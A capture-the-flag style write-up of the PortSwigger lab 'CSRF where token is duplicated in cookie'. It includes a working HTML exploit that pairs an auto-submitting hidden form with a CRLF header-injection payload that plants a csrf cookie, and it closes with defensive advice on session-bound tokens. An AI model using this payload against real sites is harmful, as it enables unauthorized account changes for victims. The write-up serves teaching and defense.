Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.

Overview

The lab protects POST /my-account/change-email by checking only that body.csrf equals the csrf cookie. It does not bind either value to the authenticated session, so cookie injection through the search endpoint lets an exploit set both sides of the comparison.

Lab description identifies the insecure double-submit defense used by the email-change function.
Lab description identifies the insecure double-submit defense used by the email-change function.

Lab objective/setup

This intentionally vulnerable Academy exercise isolates csrf where token is duplicated in cookie. The supplied accounts and endpoints are used to reproduce only the source note evidence for csrf where token is duplicated in cookie; all request changes remain inside this Academy instance.

What I observed

A normal email-change request contains the same token in the form body and cookie. Replacing both with the same arbitrary value still succeeds in the lab, proving that the server performs equality-only validation. The remaining requirement is to place that chosen cookie in the victim’s browser before submitting the cross-site form.

My Account shows the email update form for the authenticated wiener account.
My Account shows the email update form for the authenticated wiener account.

Why it is vulnerable

A CSRF token is effective only when it is unpredictable, bound to the authenticated session, and transported through channels an attacker cannot set.

Walkthrough in the authorized PortSwigger lab

  1. Capture a legitimate email-change request and verify that the form token and csrf cookie are identical.
  2. In Repeater, replace both values with fake; the accepted request confirms that the token is not session-bound.
  3. On the Academy exploit server, create a hidden form that posts the chosen email and csrf=fake to /my-account/change-email.
  4. Add an image request to the lab search endpoint containing %0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None. In this intentionally vulnerable exercise, that response injects the matching cookie into the victim browser.
  5. Use the image’s onerror handler to submit the form after the cookie-setting request, then deliver the exploit to the lab victim.
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://LAB/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="fake" />
</form>
<object data="https://LAB/?search=x%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None"
onerror="document.forms[0].submit()"></object>
</body>
</html>
The HTTP history shows POST /my-account/change-email with identical csrf values in the csrf cookie and csrf body parameter, followed by a 302 response.
The HTTP history shows POST /my-account/change-email with identical csrf values in the csrf cookie and csrf body parameter, followed by a 302 response.
The exploit-server editor contains a POST form with email and csrf fields plus a search URL that injects Set-Cookie: csrf= ; SameSite=None by CRLF.
The exploit-server editor contains a POST form with email and csrf fields plus a search URL that injects Set-Cookie: csrf= ; SameSite=None by CRLF.

Verification

The final capture shows the Academy marking the csrf where token is duplicated in cookie exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.

The Academy banner for “CSRF where token is duplicated in cookie” shows Solved.
The Academy banner for “CSRF where token is duplicated in cookie” shows Solved.

Impact and defensive lesson

An unsigned double-submit pattern fails when an attacker can write the cookie because equality does not establish authenticity. Use a synchronizer token stored in server-side session state, or a signed double-submit token bound to the session with an HMAC. Cookie-injection flaws must also be removed, and state-changing endpoints should apply appropriate SameSite and Origin checks as defense in depth.

References